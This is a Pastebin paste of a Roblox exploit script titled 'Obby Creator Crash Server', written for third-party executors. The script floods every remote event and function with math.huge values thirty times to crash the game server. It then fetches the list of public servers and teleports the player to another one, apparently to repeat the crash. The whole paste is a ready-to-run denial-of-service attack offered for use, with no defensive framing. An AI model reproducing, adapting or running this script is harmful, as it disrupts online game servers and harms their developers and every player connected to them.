Advertisement
UnknownCoolGuy

Obby Creator Crash Server

Apr 4th, 2025
23
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.00 KB | None | 0 0
  1. local httprequest = (syn and syn.request) or (http and http.request) or http_request or (fluxus and fluxus.request) or request
  2. local TeleportService = game:GetService("TeleportService")
  3. local HttpService = game:GetService("HttpService")
  4. local JobId = game.JobId
  5. local PlaceId = game.PlaceId
  6. local Players = game.Players
  7.  
  8. local set = 3
  9.  
  10. local function CrashServer()
  11. for i,v in next, game:GetDescendants() do
  12. if v:IsA("RemoteEvent") then
  13. coroutine.wrap(function()
  14. v:FireServer(math.huge)
  15. end)()
  16. elseif v:IsA("RemoteFunction") then
  17. coroutine.wrap(function()
  18. v:InvokeServer(math.huge)
  19. end)()
  20. end
  21. end
  22. end
  23.  
  24. for k=1,30 do
  25. CrashServer()
  26. end
  27.  
  28. wait(set)
  29. if httprequest then
  30. local servers = {}
  31. local success, req = pcall(function()
  32. return httprequest({Url = string.format("https://games.roblox.com/v1/games/%d/servers/Public?sortOrder=Desc&limit=100&excludeFullGames=true", PlaceId)})
  33. end)
  34.  
  35. if success and req then
  36. local body = HttpService:JSONDecode(req.Body)
  37.  
  38. if body and body.data then
  39. for _, a in pairs(body.data) do
  40. if type(a) == "table" and tonumber(a.playing) and tonumber(a.maxPlayers) and a.playing < a.maxPlayers and a.id ~= JobId then
  41. table.insert(servers, a.id)
  42. end
  43. end
  44. end
  45. else
  46. warn("error" .. (req or "No response"))
  47. end
  48.  
  49. if #servers > 0 then
  50. local success, err = pcall(function()
  51. TeleportService:TeleportToPlaceInstance(PlaceId, servers[math.random(1, #servers)], Players.LocalPlayer)
  52. end)
  53. if not success then
  54. warn("failed teleport no httpsync :cold: : " .. err)
  55. end
  56. else
  57. warn("did u crashed all the server? :sweat-smile.")
  58. end
  59. end
  60. -- End
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement